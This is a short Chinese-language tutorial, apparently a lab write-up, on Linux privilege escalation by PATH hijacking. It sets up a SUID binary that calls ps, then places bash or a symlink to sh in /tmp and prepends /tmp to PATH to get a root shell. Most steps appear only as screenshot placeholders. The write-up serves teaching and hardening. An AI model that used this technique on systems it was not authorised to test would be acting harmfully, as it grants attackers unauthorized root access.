linux中的path是一个环境变量,它指定了可执行程序所在的目录,例如bin和sbin目录,当我们在终端运行一个命令时,系统就会根据path来查找相关的可执行文件
    可以执行env命令列出所有的环境变量,然后找到path,或者grep进行结果筛选,或者echo出$path值,命令如下
    image.png
    image.png
    PS结合path提权
    首先编译以下c代码,功能为调用ps命令
    image.png
    GCC编译
    image.png
    制作网站供目标机下载
    image.png
    image.png
    目标机下载shell
    wget http://10.4.7.56:8000/shell
    要用root用户下载
    image.png
    以root身份赋予777权限,然后再赋予一个suid权限
    此时普通用户执行这个shell文件,可以看到就是执行的ps命令
    image.png
    利用:到tmp目录下,把bash写道一个ps文件中,然后修改PATH变量添加tmp目录,再去执行shell,就会获得一个root权限
    image.png
    过程,root给一个可执行文件赋予了suid。而此文件被又调用了ps命令,这时修改path把tmp添加到头的位置,系统再执行就会先去tmp目录下找,tmp目录下放的是恶意程序,从而导致恶意程序以root权限运行

    image.png
    image.png
    export PATH=/tmp:$PATH
    image.png
    此时再运行shell就能获得一个root权限的bash
    image.png
    情况,这种情况适用于,给普通用户分配了个可执行程序,且该程序有suid权限,我们又知道该程序会调用那些命令,那么就可以结合path进行提权

    cp结合path提权
    除了把bash写到ps文件中以外,还可以把类似的sh的可执行程序复制过来
    image.png
    符号连接结合path提权
    可以通过ln命令创建一个链接,链接到sh,但条件是当前可执行程序所在的目录要有相关权限,这里我们就可以sudo创建了

    image.pngimage.png
    image.png
    总结
    上面以ps为例,其他命令都可以,例如id、whoami、cat、vim等等,方法都一样,只是改下tmp目录下的文件名